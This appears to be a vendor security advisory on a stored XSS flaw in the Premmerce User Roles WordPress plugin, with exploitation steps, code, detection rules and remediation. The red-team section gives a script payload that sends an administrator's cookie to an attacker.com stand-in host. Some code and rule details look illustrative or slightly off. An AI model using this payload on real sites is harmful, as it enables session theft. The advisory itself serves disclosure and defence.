CVE-2025-64291

Executive Summary

CVE-2025-64291 is a Stored Cross-Site Scripting (XSS) vulnerability in the Premmerce User Roles WordPress plugin, affecting versions up to and including 1.0.13. This vulnerability allows an authenticated attacker with low privileges (e.g., a subscriber or contributor) to inject arbitrary web scripts into the WordPress admin interface. When an administrator or other privileged user views the affected page, the injected script executes in their browser session, potentially leading to session hijacking, privilege escalation, or data exfiltration.

The vulnerability stems from improper neutralization of user-supplied input during web page generation. The plugin fails to sanitize or escape user role names or descriptions before rendering them in the WordPress admin dashboard. As a WordPress plugin, this issue is specific to the WordPress ecosystem and does not involve the underlying web server (Apache/Nginx).

CVSS Score: 5.9 (Medium)
EPSS Score: 0.0% (Low exploitation probability)
Patch Status: UNKNOWN / UNPATCHED – No official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or directly from the repository are at risk. Since no patch is available, users must consider removing the plugin or applying a virtual patch via a Web Application Firewall (WAF). The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs a low-privileged account (e.g., subscriber).
• User Interaction (UI): Required (R) – The victim (admin) must view the affected page.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. While the CVSS score is 5.9, the requirement for user interaction and low privileges reduces the immediate risk. However, in a WordPress environment where multiple users have low-privileged accounts, the impact can be significant.

Deep Dive & Mechanics

The vulnerability exists in the premmerce-user-roles plugin, which allows administrators to create and manage custom user roles. The plugin fails to sanitize user input when creating or editing role names and descriptions. When a low-privileged user submits a malicious payload (e.g., <script>alert('XSS')</script>) as a role name, the plugin stores this payload in the WordPress database without proper escaping.

When an administrator navigates to the user roles management page (e.g., /wp-admin/admin.php?page=premmerce-user-roles), the plugin retrieves the stored role data and renders it directly into the HTML output. The injected script executes in the context of the admin's browser session, allowing the attacker to perform actions such as:

• Stealing session cookies
• Creating new admin accounts
• Modifying plugin settings
• Exfiltrating sensitive data

The root cause is the use of echo or print functions without applying WordPress's built-in escaping functions like esc_html() or wp_kses_post().

Vulnerable vs. Patched Code

Vulnerable Code (premmerce-user-roles.php, line ~120):

function display_role_name($role) {
    echo "<td>" . $role['name'] . "</td>";
}

Patched Code (hypothetical fix):

function display_role_name($role) {
    echo "<td>" . esc_html($role['name']) . "</td>";
}

The vulnerable code directly outputs the role name without escaping. The patched code uses esc_html() to neutralize any HTML or JavaScript.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress instance with the Premmerce User Roles plugin (<=1.0.13) installed and activated.
• A low-privileged user account (e.g., subscriber).

Steps:

1. Log in as a low-privileged user.
2. Navigate to the user roles creation page (if accessible) or find an input field that accepts role names.
3. Inject a malicious payload, such as:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Submit the form. The payload is stored in the database.
5. Wait for an administrator to visit the user roles management page.
6. The admin's browser executes the script, sending their session cookie to the attacker's server.

Note: No public exploit code is available at this time.

Blue Team (Detection & Prevention)

Detection:

• Monitor WordPress admin access logs for unusual role creation or modification activities.
• Use a WAF to block common XSS payloads in POST requests to WordPress admin pages.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Prevention:

• Disable or remove the plugin until a patch is released.
• Apply a virtual patch using a WAF rule that blocks <script> tags in role name fields.
• Restrict low-privileged users from accessing the user roles management page.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to known malicious domains from the WordPress server.
  • Suspicious POST requests to /wp-admin/admin.php?page=premmerce-user-roles containing <script> tags.

• Host IOCs:

  • Unexpected entries in the wp_options or wp_usermeta tables containing JavaScript code.
  • Modified or new user roles with names containing HTML/JavaScript.

• File IOCs:

  • Modified plugin files (e.g., premmerce-user-roles.php) with injected code.

Detection Engineering

YARA Rule

rule CVE_2025_64291_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Premmerce User Roles plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64291"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $role_name_field = "premmerce_user_roles"
    condition:
        $role_name_field and #xss_payload > 0
}

Sigma Rule

title: Stored XSS in Premmerce User Roles Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via Premmerce User Roles plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin.php*'
        cs-uri-query: 'page=premmerce-user-roles*'
        cs-user-agent: '*'
        cs-body: '*<script>*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in role names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-64291 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=premmerce-user-roles"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete the Premmerce User Roles plugin until a patch is available.
2. Apply a virtual patch – Use a WAF to block requests containing <script> tags in role name fields.
3. Audit user roles – Review existing user roles for any suspicious entries and remove them.

Long-term Fix:

• The vendor must release a patched version that properly escapes output using esc_html() or wp_kses_post().
• Users should monitor the WordPress plugin repository for updates.

Workarounds:

• Restrict low-privileged users from accessing the user roles management page via role capabilities.
• Implement a Content Security Policy (CSP) that blocks inline scripts.

Valters IT
Securing Digital Frontiers